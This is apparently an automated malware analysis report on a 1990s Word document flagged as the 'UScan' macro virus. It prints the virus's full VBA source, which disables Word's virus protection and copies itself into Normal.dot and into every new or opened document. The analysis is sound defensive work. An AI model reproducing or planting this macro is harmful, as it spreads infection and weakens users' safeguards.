Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4ee5fec66f1712a3…

MALICIOUS

Office (OLE)

31.5 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4f859acf4e6c766a5c2e0a3f14d3a96f SHA-1: fc59e25db9cf65d2a6c9c7a1bc02188e3a1f57d9 SHA-256: 4ee5fec66f1712a303ace384c6a1d662a43ddc755accd2f1103ba5e09b3cb171
200 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is identified as malicious by ClamAV and contains VBA macros, including an AutoOpen macro, which is a common technique for executing malicious code upon document opening. The presence of legacy WordBasic markers further suggests an older, potentially obfuscated, malicious document. The AutoOpen macro is designed to copy itself to the Normal template and then execute, indicating an attempt to establish persistence or prepare for further malicious actions.

Heuristics 4

  • ClamAV: Doc.Trojan.Uscam-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Uscam-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3400 bytes
SHA-256: 391df3c464927022544e342d9edc2ce508ba6a83874840bc46e86333781d9f3a
Detection
ClamAV: Doc.Trojan.Uscam-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UScan"
Sub AutoOpen()
' Ensures NORMAL.DOT contains main macros.

'On Error GoTo errInfProcess

Dim intMiscVar, intVersion As Integer
Dim blnFExists, blnNExists As Boolean

If Application.Options.VirusProtection = True Then Application.Options.VirusProtection = False

If NormalTemplate.VBProject.VBComponents.Count > 1 Then
  For intMiscVar = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents.Item(intMiscVar).Name = "UScan" Then blnNExists = True
  Next intMiscVar
End If

If ActiveDocument.VBProject.VBComponents.Count > 1 Then
  For intMiscVar = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents.Item(intMiscVar).Name = "UScan" Then blnFExists = True
  Next intMiscVar
End If

SetAttr NormalTemplate.FullName, 0

If blnFExists = True Then
  If blnNExists = True Then Application.OrganizerDelete NormalTemplate.FullName, "UScan", wdOrganizerObjectProjectItems
  Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "UScan", wdOrganizerObjectProjectItems
Else
  Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "UScan", wdOrganizerObjectProjectItems
End If

NormalTemplate.Save

UScan

Exit Sub

errInfProcess:
  Resume Next
End Sub
Sub AutoNew()
' Copies UScan modile to all new files.

  Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "UScan", wdOrganizerObjectProjectItems
End Sub
Function intUAppVer() As Integer
' Returns version of called UScan instance.

  intUAppVer = 1111
End Function
Sub FileOpen()
' Copies macros from the current document (or template) to the opened one.

On Error GoTo errInf

Dialogs(wdDialogFileOpen).Show

If ActiveDocument.Name = "" Then Exit Sub

'MsgBox (ActiveDocument.FullName & ", deleting UScan from")

Application.OrganizerDelete ActiveDocument.FullName, "UScan", wdOrganizerObjectProjectItems
Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "UScan", wdOrganizerObjectProjectItems

Exit Sub

errInf:
  Resume Next
End Sub
Sub UScan()
' Main 'extra effects' routine.

'///// /// Name: UScan
'//// // Author: tgho
'/// // Version: 1.11.3
'// Last Edited: 19th February, 1998

On Error GoTo errQuit

If UCase(Application.UserInitials) = "AF" Then MsgBox ("This file contains the UScan macro. It is not harmful, but may spread in a disconcerting manner.")

errQuit:
End Sub
Private Function blnUScanSearch() As Boolean
' Searches the NORMAL.DOT template to return a boolean value for the existence of the macros.
' NOTE: Currently not used.

On Error GoTo errScan

Dim intCountMacros, intMacros As Integer

blnUScanSearch = False

intMacros = 0

For Each xItem In NormalTemplate.VBProject.VBComponents
  If xItem.Type = vbext_ct_StdModule Then intMacros = intMacros + 1
Next xItem

If intMacros > 0 Then
    
  For intCountMacros = 1 To intMacros
  
    If (WordBasic(intCountMacros) = "UScan") Then blnUScanSearch = True
     
  Next intCountMacros
  
End If

errScan:
End Function